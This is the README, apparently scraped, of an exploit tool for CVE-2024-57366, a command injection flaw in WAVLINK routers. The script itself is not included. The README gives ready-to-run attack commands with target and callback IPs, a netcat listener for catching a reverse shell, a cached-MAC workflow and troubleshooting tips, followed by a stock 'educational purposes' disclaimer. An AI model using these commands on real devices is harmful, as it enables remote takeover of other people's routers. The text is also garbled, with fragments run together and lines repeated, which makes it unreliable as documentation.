
Remote code execution exploit for CVE-2024-57366 targeting WAVLINK routers via MAC address validation bypass and command injection, with automatic WiFi registration and reverse shell payload delivery.
A robust exploit for CVE-2024-57366 that allows remote code execution on vulnerable routers through MAC address validation bypass and command injection.
This is a post-authorization exploit that requires the router "Remote Control" feature to be on, and the administrative password. The administrative user name is hardcoded to "admin".
sudo access (required for network interface management)pip3 install requests
sudo python3 exploit.py --target 192.168.1.187 --local-ip 192.168.1.9 --local-port 4444 --password admin123
sudo python3 exploit.py --target 192.168.1.187 --local-ip 192.168.1.9 --local-port 4444 --password admin123
# Script will ask: "Use cached MAC for quick exploit? (y/n):" - say "y"
sudo python3 exploit.py --target 192.168.1.187 --local-ip 192.168.1.9 --local-port 4444 --password admin123 --force-full
python3 exploit.py --list-cached
--target - Target router IP address (default: 127.0.0.1)--port - Target router port (default: 80)--local-ip - Your local IP address for reverse shell callback--local-port - Local port for reverse shell callback (default: 4444)--password - Router admin password--ssid - WiFi network name (default: WAVLINK-Mesh_DC4B)--force-full - Force full exploit, skip cached MAC check--list-cached - List cached MAC addresses and exitCVE-2024-57366 exploits a MAC address validation bypass in router firmware. The vulnerability allows command injection through the mac parameter in the /protocol.csp endpoint.
eth0 interface to preserve original network contextindex=1, token in URL path)The exploit automatically caches successful MAC addresses in successful_macs.txt:
# CVE-2024-57366 Successful MAC Addresses
# Format: MAC_ADDRESS TARGET_IP TIMESTAMP
# You can manually add entries here
32:98:A2:A8:5F:5F 192.168.1.187 1758305048.0 # 2025-09-19 14:44:08
Manual MAC Addition: Edit successful_macs.txt and add lines like:
AA:BB:CC:DD:EE:FF 192.168.1.100 1758305048.0 # 2025-09-19 14:44:08
# Start netcat listener
nc -lvp 4444
# Run exploit
sudo python3 exploit.py --target 192.168.1.187 --local-ip 192.168.1.9 --local-port 4444 --password admin123
# When prompted to save MAC address, say "y"
# Start netcat listener
nc -lvp 4444
# Run exploit (will use cached MAC)
sudo python3 exploit.py --target 192.168.1.187 --local-ip 192.168.1.9 --local-port 4444 --password admin123
# Say "y" when asked about using cached MAC
"No wireless adapters found"
sudo"MAC address validation failed"
"Request timed out"
"Reverse shell not connecting"
--local-ip is correct (use ip addr show eth0)CVE-2024-57366/
├── exploit.py # Main exploit script
├── successful_macs.txt # MAC address cache (auto-generated)
└── README.md # This file
This tool is for educational and authorized testing purposes only. Only use on systems you own or have explicit permission to test. The authors are not responsible for any misuse of this tool.
/protocol.csp endpointThis project is provided as-is for educational purposes. Use responsibly and in accordance with applicable laws and regulations.